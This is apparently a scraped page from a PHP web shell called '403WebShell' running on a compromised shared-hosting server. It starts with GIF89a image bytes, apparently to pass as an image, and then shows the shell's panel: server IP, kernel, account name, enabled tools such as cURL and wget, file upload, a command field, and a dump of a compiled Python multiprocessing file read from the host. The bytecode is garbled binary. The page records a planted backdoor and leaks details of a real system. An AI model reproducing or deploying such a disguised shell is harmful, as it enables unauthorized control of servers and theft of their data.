GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘Ž¯pß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Šè•m"сœn|@›U¶ÆΞ—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X Ó؁)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oŠ°^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 104.21.83.152  /  Your IP : 216.73.216.66
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib64/python3.7/multiprocessing/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /opt/alt/python37/lib64/python3.7/multiprocessing/__pycache__/managers.cpython-37.opt-2.pyc
B

YI~d��@s�ddddgZddlZddlZddlZddlZddlZddlmZddlm	Z	dd	l
mZmZm
Z
dd
lmZddlmZddlmZdd
lmZdd�Ze�eje�dd�dD�Zedek	r�dd�ZxeD]Ze�ee�q�WGdd�de�Zdifdd�Zdd�ZGdd�de�Zdd�Zdd �ZGd!d"�d"e�Z Gd#d$�d$e�Z!e	j"e	j#fe	j$e	j%fd%�Z&Gd&d�de�Z'Gd'd(�d(e(�Z)Gd)d�de�Z*d*d+�Z+ifd,d-�Z,ddd/d0�Z-Gd1d2�d2e�Z.Gd3d4�d4e�Z/ded5d6�Z0Gd7d8�d8e*�Z1Gd9d:�d:e*�Z2Gd;d<�d<e2�Z3Gd=d>�d>e*�Z4Gd?d@�d@e*�Z5GdAdB�dBe*�Z6GdCdD�dDe*�Z7e,dEdF�Z8GdGdH�dHe8�Z9e,dIdJ�Z:dKdLie:_;e,dMdN�Z<e,dOdP�Z=dQdQdQdLdLdR�e=_;GdSdO�dOe=�Z>GdTd�de'�Z?e?�dUej@�e?�dVej@�e?�dWejAe4�e?�dXejBe2�e?�dYejCe2�e?�dZejDe2�e?�d[ejEe2�e?�d\ejFe3�e?�d]ejGe5�e?�d^ejHe>�e?�d_ee9�e?�d`eIe:�e?�d4e/e7�e?�d6e0e<�e?�d2e.e6�e?jdLe1dadb�e?jdQdadc�dS)f�BaseManager�SyncManager�	BaseProxy�Token�N)�
format_exc�)�
connection)�	reduction�get_spawning_popen�ProcessError)�pool)�process)�util)�get_contextcCstj|j|��ffS)N)�array�typecode�tobytes)�a�r�=/opt/alt/python37/lib64/python3.7/multiprocessing/managers.py�reduce_array$srcCsg|]}tti|����qSr)�type�getattr)�.0�namerrr�
<listcomp>(sr)�items�keys�valuescCstt|�ffS)N)�list)�objrrr�rebuild_as_list*sr!c@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)r)�typeid�address�idcCs||||_|_|_dS)N)r"r#r$)�selfr"r#r$rrr�__init__9szToken.__init__cCs|j|j|jfS)N)r"r#r$)r%rrr�__getstate__<szToken.__getstate__cCs|\|_|_|_dS)N)r"r#r$)r%�staterrr�__setstate__?szToken.__setstate__cCsd|jj|j|j|jfS)Nz %s(typeid=%r, address=%r, id=%r))�	__class__�__name__r"r#r$)r%rrr�__repr__BszToken.__repr__N)r+�
__module__�__qualname__�	__slots__r&r'r)r,rrrrr3s
rcCs8|�||||f�|��\}}|dkr*|St||��dS)Nz#RETURN)�send�recv�convert_to_error)�cr$�
methodname�args�kwds�kind�resultrrr�dispatchJs
r9cCsd|dkr|S|dkrRt|t�s4td�||t|����|dkrHtd|�St|�Sntd�|��SdS)Nz#ERROR)z
#TRACEBACKz#UNSERIALIZABLEz.Result {0!r} (kind '{1}') type is {2}, not strz#UNSERIALIZABLEzUnserializable message: %s
zUnrecognized message type {!r})�
isinstance�str�	TypeError�formatr�RemoteError�
ValueError)r7r8rrrr2Ts

r2c@seZdZdd�ZdS)r>cCsdt|jd�dS)NzM
---------------------------------------------------------------------------
rzK---------------------------------------------------------------------------)r;r5)r%rrr�__str__dszRemoteError.__str__N)r+r-r.r@rrrrr>csr>cCs6g}x,t|�D] }t||�}t|�r|�|�qW|S)N)�dirr�callable�append)r �tempr�funcrrr�all_methodsks
rFcCsdd�t|�D�S)NcSsg|]}|ddkr|�qS)r�_r)rrrrrrzsz"public_methods.<locals>.<listcomp>)rF)r rrr�public_methodsvsrHc	@s�eZdZddddddddd	g	Zd
d�Zdd
�Zdd�Zdd�Zdd�Zdd�Z	dd�Z
dd�Ze
ee	d�Zdd�Z
dd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-S).�Server�shutdown�create�accept_connection�get_methods�
debug_info�number_of_objects�dummy�incref�decrefcCsxt|t�std�|t|����||_t�|�|_t	|\}}||dd�|_
|j
j|_ddi|_i|_
i|_t��|_dS)Nz&Authkey {0!r} is type {1!s}, not bytes�)r#Zbacklog�0)Nr)r:�bytesr<r=r�registryr
�AuthenticationString�authkey�listener_client�listenerr#�	id_to_obj�id_to_refcount�id_to_local_proxy_obj�	threading�Lock�mutex)r%rVr#rX�
serializer�Listener�Clientrrrr&�s


zServer.__init__c	Cs�t��|_|t��_zZtj|jd�}d|_|�	�y x|j�
�sN|j�d�q6WWntt
fk
rjYnXWdtjtjkr�t�d�tjt_tjt_t�d�XdS)N)�targetTrzresetting stdout, stderrr)r^�Event�
stop_eventr
�current_process�_manager_server�Thread�accepter�daemon�start�is_set�wait�KeyboardInterrupt�
SystemExit�sys�stdout�
__stdout__r�debug�
__stderr__�stderr�exit)r%rjrrr�
serve_forever�s 



zServer.serve_forevercCsPxJy|j��}Wntk
r&wYnXtj|j|fd�}d|_|��qWdS)N)rdr5T)rZZaccept�OSErrorr^ri�handle_requestrkrl)r%r3�trrrrj�szServer.acceptercCs4d}}}y>t�||j�t�||j�|��}|\}}}}t||�}Wntk
rhdt�f}	Yn>Xy||f|�|�}Wntk
r�dt�f}	Yn
Xd|f}	y|�|	�Wnrtk
�r&}
zRy|�dt�f�Wntk
r�YnXt	�
d|	�t	�
d|�t	�
d|
�Wdd}
~
XYnX|��dS)Nz
#TRACEBACKz#RETURNzFailure to send message: %rz ... request was %rz ... exception was %r)rZdeliver_challengerXZanswer_challenger1r�	Exceptionrr0r�info�close)r%r3�funcnamer8�request�ignorer5r6rE�msg�errrrz�s2zServer.handle_requestc
Cs�t�dt��j�|j}|j}|j}�x�|j�	��s�yBd}}|�}|\}}}	}
y||\}}}Wn^t
k
r�}
z@y|j|\}}}Wn&t
k
r�}z|
�Wdd}~XYnXWdd}
~
XYnX||kr�td|t
|�|f��t||�}y||	|
�}Wn,tk
�r&}zd|f}Wdd}~XYnPX|�o8|�|d�}|�rn|�|||�\}}t||j|�}d||ff}nd|f}Wn�tk
�r�|dk�r�dt�f}nNy,|j|}|||||f|	�|
�}d|f}Wn tk
�r�dt�f}YnXYnPtk
�r"t�dt��j�t�d�Yn tk
�r@dt�f}YnXyDy||�Wn2tk
�r�}z|d	t�f�Wdd}~XYnXWq(tk
�r�}z@t�d
t��j�t�d|�t�d|�|��t�d
�Wdd}~XYq(Xq(WdS)Nz$starting server thread to service %rz+method %r of %r object is not in exposed=%rz#ERRORz#PROXYz#RETURNz
#TRACEBACKz$got EOF -- exiting thread serving %rrz#UNSERIALIZABLEzexception in thread serving %rz ... message was %rz ... exception was %rr)rrtr^�current_threadrr1r0r[rfrm�KeyErrorr]�AttributeErrorrrr|�getrKrr#r�fallback_mapping�EOFErrorrqrwr}r~)r%�connr1r0r[r4r r��identr5r6�exposed�	gettypeid�keZ	second_keZfunctionZresr�r�r"ZridentZrexposed�tokenZ
fallback_funcr8rrr�serve_client�sx(


$zServer.serve_clientcCs|S)Nr)r%r�r�r rrr�fallback_getvalue,szServer.fallback_getvaluecCst|�S)N)r;)r%r�r�r rrr�fallback_str/szServer.fallback_strcCst|�S)N)�repr)r%r�r�r rrr�
fallback_repr2szServer.fallback_repr)r@r,z	#GETVALUEcCsdS)Nr)r%r3rrrrP;szServer.dummyc
Cs||j�lg}t|j���}|��xD|D]<}|dkr(|�d||j|t|j|d�dd�f�q(Wd�|�SQRXdS)NrTz  %s:       refcount=%s
    %sr�K�
)	r`rr\r�sortrCr;r[�join)r%r3r8rr�rrrrN>s

$zServer.debug_infocCs
t|j�S)N)�lenr\)r%r3rrrrONszServer.number_of_objectscCsLz:yt�d�|�d�Wnddl}|��YnXWd|j��XdS)Nz!manager received shutdown message)z#RETURNNr)rrtr0�	traceback�	print_excrf�set)r%r3r�rrrrJUs
zServer.shutdownc	Os�t|�dkr|^}}}}nz|s(td��nld|krDtdt|�d��|�d�}t|�dkrf|^}}}n.d|kr�tdt|�d��|�d�}|^}}t|�}|j��|j|\}}}}|dkr�|s�t|�dkr�td��|d	}	n
|||�}	|dkr�t|	�}|dk	�r4t|t	��s$td
�
|t|����t|�t|�}dt
|	�}
t�d||
�|	t|�|f|j|
<|
|jk�rxd	|j|
<WdQRX|�||
�|
t|�fS)
N�z8descriptor 'create' of 'Server' object needs an argumentr"z7create expected at least 2 positional arguments, got %dr�r3z4Without callable, must have one non-keyword argumentrz,Method_to_typeid {0!r}: type {1!s}, not dictz%xz&%r callable returned object with id %r)r�r<�pop�tupler`rVr?rHr:�dictr=rrr$rrtr�r[r\rQ)r5r6r%r3r"rBr��method_to_typeid�	proxytyper r�rrrrKbsN





z
Server.createcCst|j|jd�S)Nr)r�r[r$)r%r3r�rrrrM�szServer.get_methodscCs"|t��_|�d�|�|�dS)N)z#RETURNN)r^r�rr0r�)r%r3rrrrrL�s

zServer.accept_connectioncCs�|j��y|j|d7<Wnhtk
r�}zJ||jkrrd|j|<|j||j|<|j|\}}}t�d|�n|�Wdd}~XYnXWdQRXdS)Nrz&Server re-enabled tracking & INCREF %r)r`r\r�r]r[rrt)r%r3r�r�r r�r�rrrrQ�s

z
Server.increfc	Cs�||jkr$||jkr$t�d|�dS|j�Z|j|dkrXtd�||j||j|���|j|d8<|j|dkr�|j|=WdQRX||jkr�d|j|<t�d|�|j�|j|=WdQRXdS)NzServer DECREF skipping %rrz+Id {0!s} ({1!r}) has refcount {2:n}, not 1+r)NrNzdisposing of obj with id %r)r\r]rrtr`�AssertionErrorr=r[)r%r3r�rrrrR�s$




z
Server.decrefN)r+r-r.Zpublicr&rxrjrzr�r�r�r�r�rPrNrOrJrKrMrLrQrRrrrrrI�s,
"Q
8rIc@seZdZdgZdZdZdZdS)�State�valuerrr�N)r+r-r.r/�INITIAL�STARTED�SHUTDOWNrrrrr��sr�)�pickleZ	xmlrpclibc@s�eZdZiZeZd!dd�Zdd�Zdd�Zd"d
d�Z	e
d#dd
��Zdd�Zd$dd�Z
dd�Zdd�Zdd�Zdd�Zedd��Zedd��Ze
d%dd ��ZdS)&rNr�cCs\|dkrt��j}||_t�|�|_t�|_tj|j_	||_
t|\|_|_
|pTt�|_dS)N)r
rgrX�_addressrW�_authkeyr��_stater�r��_serializerrYZ	_Listener�_Clientr�_ctx)r%r#rXraZctxrrrr&�s

zBaseManager.__init__cCsf|jjtjkrP|jjtjkr&td��n*|jjtjkr>td��ntd�|jj���t|j	|j
|j|j�S)NzAlready started serverzManager has shut downzUnknown state {!r})
r�r�r�r�r�rr�r=rI�	_registryr�r�r�)r%rrr�
get_servers


zBaseManager.get_servercCs8t|j\}}||j|jd�}t|dd�tj|j_dS)N)rXrP)	rYr�r�r�r9r�r�r�r�)r%rbrcr�rrr�connectszBaseManager.connectrc	Cs4|jjtjkrP|jjtjkr&td��n*|jjtjkr>td��ntd�|jj���|dk	rht|�sht	d��t
jdd�\}}|jj
t|�j|j|j|j|j|||fd�|_d�d	d
�|jjD��}t|�jd||j_|j��|��|��|_|��tj|j_tj|t|�j|j|j|j|j|jfdd
�|_ dS)NzAlready started serverzManager has shut downzUnknown state {!r}zinitializer must be a callableF)Zduplex)rdr5�:css|]}t|�VqdS)N)r;)r�irrr�	<genexpr>1sz$BaseManager.start.<locals>.<genexpr>�-r)r5�exitpriority)!r�r�r�r�r�rr�r=rBr<rZPiper�ZProcessr�_run_serverr�r�r�r��_processr�Z	_identityr+rrlr~r1r�Finalize�_finalize_managerr�rJ)r%�initializer�initargs�reader�writerr�rrrrls4






zBaseManager.startc	CsN|dk	r||�|�||||�}|�|j�|��t�d|j�|��dS)Nzmanager serving at %r)�_Serverr0r#r~rr}rx)	�clsrVr#rXrar�r�r��serverrrrr�CszBaseManager._run_servercOs`|^}}}t|�}|j|j|jd�}zt|dd|f||�\}}Wd|��Xt||j|�|fS)N)rXrK)r�r�r�r�r9r~r)r5r6r%r"r�r$r�rrr�_createWs

zBaseManager._createcCs*|jdk	r&|j�|�|j��s&d|_dS)N)r�r��is_alive)r%�timeoutrrrr�fs

zBaseManager.joincCs.|j|j|jd�}zt|dd�S|��XdS)N)rXrN)r�r�r�r9r~)r%r�rrr�_debug_infooszBaseManager._debug_infocCs.|j|j|jd�}zt|dd�S|��XdS)N)rXrO)r�r�r�r9r~)r%r�rrr�_number_of_objectsyszBaseManager._number_of_objectscCsj|jjtjkr|��|jjtjkrf|jjtjkr<td��n*|jjtjkrTtd��ntd�|jj���|S)NzUnable to start serverzManager has shut downzUnknown state {!r})	r�r�r�r�rlr�rr�r=)r%rrr�	__enter__�s

zBaseManager.__enter__cCs|��dS)N)rJ)r%�exc_type�exc_val�exc_tbrrr�__exit__�szBaseManager.__exit__cCs�|��r�t�d�y,|||d�}zt|dd�Wd|��XWntk
rRYnX|jdd�|��r�t�d�t|d�r�t�d�|��|jd	d�|��r�t�d
�t	j
|_ytj
|=Wntk
r�YnXdS)Nz#sending shutdown message to manager)rXrJg�?)r�zmanager still alive�	terminatez'trying to `terminate()` manager processg�������?z#manager still alive after terminate)r�rr}r9r~r|r��hasattrr�r�r�r�r�_address_to_localr�)r
r#rXr(r�r�rrrr��s.




zBaseManager._finalize_managercCs|jS)N)r�)r%rrrr#�szBaseManager.addressTc
s�d|jkr|j��|_�dkr"t�|p0t�dd�}|p@t�dd�}|r`xt|���D]\}}qTW|||�f|j�<|r���fdd�}	�|	_t|�|	�dS)Nr��	_exposed_�_method_to_typeid_cs`t�d��|j�f|�|�\}}�||j||j|d�}|j|j|jd�}t|dd|jf�|S)Nz)requesting creation of a shared %r object)�managerrXr�)rXrR)	rrtr�r�r�r�r#r9r$)r%r5r6r�Zexp�proxyr�)r�r"rrrD�sz"BaseManager.register.<locals>.temp)	�__dict__r��copy�	AutoProxyrrrr+�setattr)
r�r"rBr�r�r��
create_method�keyr�rDr)r�r"r�register�s

zBaseManager.register)NNr�N)Nr)Nr)N)NNNNT)r+r-r.r�rIr�r&r�r�rl�classmethodr�r�r�r�r�r�r��staticmethodr��propertyr#r�rrrrr�s(
	
+
	


 c@seZdZdd�Zdd�ZdS)�ProcessLocalSetcCst�|dd��dS)NcSs|��S)N)�clear)r rrr�<lambda>��z*ProcessLocalSet.__init__.<locals>.<lambda>)r�register_after_fork)r%rrrr&�szProcessLocalSet.__init__cCst|�dfS)Nr)r)r%rrr�
__reduce__�szProcessLocalSet.__reduce__N)r+r-r.r&r�rrrrr��sr�c@s|eZdZiZe��Zddd�Zdd�Zdifd	d
�Z	dd�Z
d
d�Zedd��Z
dd�Zdd�Zdd�Zdd�Zdd�ZdS)rNTFc		Cs�tj�8tj�|jd�}|dkr:t��t�f}|tj|j<WdQRX|d|_|d|_	||_
|j
j|_||_
||_t|d|_||_|dk	r�t�|�|_n"|j
dk	r�|j
j|_nt��j|_|r�|��t�|tj�dS)Nrr)r�_mutexr�r�r#rZForkAwareLocalr��_tls�_idset�_tokenr$�_id�_managerr�rYr��_owned_by_managerr
rWr�rgrX�_increfr��_after_fork)	r%r�rar�rXr�rQ�
manager_ownedZ	tls_idsetrrrr&�s*



zBaseProxy.__init__cCsdt�d�t��j}t��jdkr4|dt��j7}|j|jj	|j
d�}t|dd|f�||j_
dS)Nzmaking connection to managerZ
MainThread�|)rXrL)rrtr
rgrr^r�r�r�r#r�r9r�r)r%rr�rrr�_connects

zBaseProxy._connectrcCs�y|jj}Wn6tk
rBt�dt��j�|��|jj}YnX|�	|j
|||f�|��\}}|dkrp|S|dkr�|\}}|jj
|jd}	|jj|_|	||j|j|j|d�}
|j|j|jd�}t|dd|jf�|
St||��dS)Nz#thread %r does not own a connectionz#RETURNz#PROXY���)r�rXr�)rXrR)r�rr�rrtr^r�rr�r0r�r1r�r�r"r�r#r�r�r�r9r$r2)r%r4r5r6r�r7r8r�r�r�r�rrr�_callmethod&s,

zBaseProxy._callmethodcCs
|�d�S)Nz	#GETVALUE)r�)r%rrr�	_getvalueDszBaseProxy._getvaluec	Cs�|jrt�d|jj�dS|j|jj|jd�}t|dd|j	f�t�d|jj�|j
�|j	�|joj|jj
}tj|tj|j|j||j|j
|jfdd�|_dS)Nz%owned_by_manager skipped INCREF of %r)rXrQz	INCREF %r�
)r5r�)r�rrtr�r$r�r#r�r9r�r��addr�r�r�r�_decrefr�Z_close)r%r�r(rrrr�Js
zBaseProxy._increfc
Cs�|�|j�|dks |jtjkr�y2t�d|j�||j|d�}t|dd|jf�Wq�t	k
r�}zt�d|�Wdd}~XYq�Xnt�d|j�|s�t
|d�r�t�dt��j
�|j��|`dS)Nz	DECREF %r)rXrRz... decref failed %sz%DECREF %r -- manager already shutdownrz-thread %r has no more proxies so closing conn)�discardr$r�r�r�rrtr#r9r|r�r^r�rrr~)r�rXr(ZtlsZidsetr�r�r�rrrr�^s 
zBaseProxy._decrefc
CsHd|_y|��Wn0tk
rB}zt�d|�Wdd}~XYnXdS)Nzincref failed: %s)r�r�r|rr})r%r�rrrr�ws
zBaseProxy._after_forkcCs^i}t�dk	r|j|d<t|dd�rB|j|d<tt|j|j|ffStt|�|j|j|ffSdS)NrX�_isautoFr�)	r
r�rr��RebuildProxyr�r�r�r)r%r6rrrr�s


zBaseProxy.__reduce__cCs|��S)N)r�)r%Zmemorrr�__deepcopy__�szBaseProxy.__deepcopy__cCsdt|�j|jjt|�fS)Nz<%s object, typeid %r at %#x>)rr+r�r"r$)r%rrrr,�szBaseProxy.__repr__cCs4y
|�d�Stk
r.t|�dd�dSXdS)Nr,r�z; '__str__()' failed>)r�r|r�)r%rrrr@�s
zBaseProxy.__str__)NNNTF)r+r-r.r�rZForkAwareThreadLockr�r&r�r�r�r�r�r�r�r�r�r,r@rrrrr�s
(	
cCs�tt��dd�}|rT|j|jkrTt�d|�d|d<|j|jkrT|j|j|j|j<|�	dd�optt��dd�}|||fd|i|��S)Nrhz*Rebuild a proxy owned by manager, token=%rTr�rQZ_inheritingF)
rr
rgr#rrtr$r]r[r�)rEr�rar6r�rQrrrr��sr�cCsrt|�}y|||fStk
r(YnXi}x|D]}td||f|�q4Wt|tf|�}||_||||f<|S)NzLdef %s(self, *args, **kwds):
        return self._callmethod(%r, args, kwds))r�r��execrrr�)rr��_cacheZdicZmeth�	ProxyTyperrr�
MakeProxyType�s
r�Tc
Cs�t|d}|dkrB||j|d�}zt|dd|f�}Wd|��X|dkrX|dk	rX|j}|dkrjt��j}td|j	|�}||||||d�}	d|	_
|	S)Nr)rXrMz
